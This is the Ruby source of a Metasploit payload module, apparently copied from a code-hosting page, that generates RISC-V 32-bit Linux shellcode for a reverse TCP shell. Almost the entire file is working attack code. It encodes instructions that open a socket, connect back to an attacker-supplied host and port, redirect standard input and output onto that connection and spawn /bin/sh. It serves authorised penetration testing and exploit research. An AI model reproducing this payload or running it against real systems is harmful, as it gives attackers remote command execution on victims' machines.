Path: blob/master/modules/payloads/singles/linux/riscv32le/shell_reverse_tcp.rb
27932 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 15678include Msf::Payload::Single9include Msf::Payload::Linux10include Msf::Sessions::CommandShellOptions1112SYS_SOCKET = 19813SYS_CONNECT = 20314SYS_DUP3 = 2415SYS_EXECVE = 22116AF_INET = 217SOCK_STREAM = 118IPPROTO_IP = 01920def initialize(info = {})21super(22merge_info(23info,24'Name' => 'Linux Command Shell, Reverse TCP Inline',25'Description' => 'Connect back to attacker and spawn a command shell.',26'Author' => [27'modexp', # connect.s RISC-V 64-bit shellcode28'bcoles', # RISC-V 32-bit shellcode port and metasploit29],30'License' => BSD_LICENSE,31'Platform' => 'linux',32'Arch' => [ ARCH_RISCV32LE ],33'References' => [34['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],35['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],36],37'Handler' => Msf::Handler::ReverseTcp,38'Session' => Msf::Sessions::CommandShellUnix39)40)41end4243# Encode a RISC-V LUI (Load Upper Immediate) instruction44def encode_lui(rd, imm20)450b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)46end4748# Encode a RISC-V ADDI (Add Immediate) instruction49def encode_addi(rd, rs1, imm12)500b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)51end5253# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.54def load_const_into_reg32(const, rd)55raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)5657max_const = 0xFFFF_FFFF5859raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)6061if const >= -2048 && const <= 204762return [encode_addi(rd, 0, const)]63end6465upper = (const + 0x800) >> 1266low = const & 0xfff67[68encode_lui(rd, upper),69encode_addi(rd, rd, low)70]71end7273def generate(_opts = {})74lhost = datastore['LHOST'] || '127.127.127.127'75lport = datastore['LPORT'].to_i7677raise ArgumentError, 'LHOST must be in IPv4 format.' unless Rex::Socket.is_ipv4?(lhost)7879encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')80encoded_port = [lport].pack('n').unpack1('v')8182shellcode = [83# prepare stack840xfe010113, # addi sp,sp,-328586# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);87*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket88*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP89*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM90*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET910x00000073, # ecall9293# connect(s, &sa, sizeof(sa));940x00050693, # mv a3,a0 # a3 = s95*load_const_into_reg32(SYS_CONNECT, 17), # li a7,203 # SYS_connect96*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)970x00200293, # li t0,2 # AF_INET980x00511023, # sh t0,0(sp) # sin_family99*load_const_into_reg32(encoded_port, 5),1000x00511123, # sh t0,2(sp) # sin_port101*load_const_into_reg32(encoded_host, 5),1020x00512223, # sw t0,4(sp) # sin_addr1030x00012423, # sw 0,8(sp) # padding1040x00012623, # sw 0,12(sp) # padding1050x00010593, # mv a1,sp # a1 = &sa1060x00000073, # ecall107108# dup stdin/stdout/stderr109*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3110*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3111# c_dup:112*load_const_into_reg32(0, 12), # li a2,01130x00068513, # mv a0,a31140xfff58593, # addi a1,a1,-11150x00000073, # ecall1160xfe0598e3, # bnez a1,100b0 <c_dup>117118# execve("/bin/sh", NULL, NULL);1190x0dd00893, # li a7,221120*load_const_into_reg32(0x6e69622f, 5), # "/bin"1210x00512023, # sw t0,0(sp)122*load_const_into_reg32(0x0068732f, 5), # "/sh\0"1230x00512223, # sw t0,4(sp)1240x00010513, # mv a0,sp # path = /bin/sh1250x00000593, # li a1,0 # argv = NULL1260x00000613, # li a2,0 # envp = NULL1270x00000073 # ecall128].pack('V*')129130# align our shellcode to 4 bytes131shellcode += "\x00" while shellcode.bytesize % 4 != 0132133super.to_s + shellcode134end135end136137138